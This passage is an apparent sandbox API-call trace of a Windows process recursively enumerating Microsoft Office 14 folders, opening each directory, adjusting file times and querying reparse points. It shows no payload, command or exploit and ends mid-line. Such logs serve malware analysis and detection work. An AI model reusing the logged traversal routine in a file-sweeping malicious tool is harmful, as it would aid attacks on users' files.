[0246.968] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.968] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0246.969] GetLastError () returned 0x12 [0246.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0246.969] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.969] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.969] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.969] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.969] NtClose (Handle=0x1c0) returned 0x0 [0246.969] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9dbd70) returned 1 [0246.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0246.969] GetLastError () returned 0x12 [0246.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.970] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.970] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0246.970] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0246.970] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.970] NtClose (Handle=0x1c0) returned 0x0 [0246.970] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1614aa0) returned 1 [0246.970] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd660 [0246.970] GetLastError () returned 0x12 [0246.970] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0246.971] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.971] GetLastError () returned 0x12 [0246.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1614ba8) returned 1 [0246.971] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1614cb0) returned 1 [0246.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1614aa0) returned 1 [0246.971] GetLastError () returned 0x12 [0246.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1614890) returned 1 [0246.971] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1614998) returned 1 [0246.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9c9f10) returned 1 [0246.971] GetLastError () returned 0x12 [0246.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0246.971] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" (normalized: "c:\\program files\\microsoft office\\office14\\forms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0246.972] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.972] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.972] NtClose (Handle=0x170) returned 0x0 [0246.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.972] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0246.972] GetLastError () returned 0x12 [0246.972] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.972] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0246.972] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.973] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.973] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.973] NtClose (Handle=0x170) returned 0x0 [0246.973] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9dccd8) returned 1 [0246.973] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0246.977] GetLastError () returned 0x12 [0246.977] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0246.977] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.977] GetLastError () returned 0x12 [0246.977] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9dcd60) returned 1 [0246.977] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9c9f10) returned 1 [0246.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9dccd8) returned 1 [0246.978] GetLastError () returned 0x12 [0246.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0246.978] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9b06f0) returned 1 [0246.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove" (normalized: "c:\\program files\\microsoft office\\office14\\groove"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.978] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0246.978] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0246.978] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e6df0) returned 1 [0246.979] NtClose (Handle=0x1b4) returned 0x0 [0246.979] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0246.980] GetLastError () returned 0x12 [0246.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0246.981] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.982] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.982] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.982] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.982] GetLastError () returned 0x12 [0246.982] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0246.982] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.983] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0246.983] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0246.984] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0246.984] GetLastError () returned 0x12 [0246.984] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd660 [0246.984] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.985] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.985] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.985] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0246.985] GetLastError () returned 0x12 [0246.985] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.985] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.985] GetLastError () returned 0x12 [0246.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.989] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.989] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.989] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.989] GetLastError () returned 0x12 [0246.989] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0246.989] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.989] GetLastError () returned 0x12 [0246.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.989] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.990] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.990] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0246.990] GetLastError () returned 0x12 [0246.990] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.990] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.990] GetLastError () returned 0x12 [0246.990] GetLastError () returned 0x12 [0246.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.991] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0246.991] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0246.991] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd660 [0246.992] GetLastError () returned 0x12 [0246.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0246.992] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0246.992] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.992] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e6df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e6df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0246.994] GetLastError () returned 0x12 [0246.994] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0246.994] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0246.994] GetLastError () returned 0x12 [0246.995] GetLastError () returned 0x12 [0246.995] GetLastError () returned 0x12 [0247.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0247.041] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0247.041] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eafb8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eafb8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0247.041] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0247.041] GetLastError () returned 0x12 [0247.041] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0247.042] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0247.042] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0247.086] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0247.086] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eafb8, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eafb8, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0247.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0247.132] GetLastError () returned 0x12 [0247.132] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0247.132] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0247.133] GetLastError () returned 0x12 [0247.133] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0247.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft 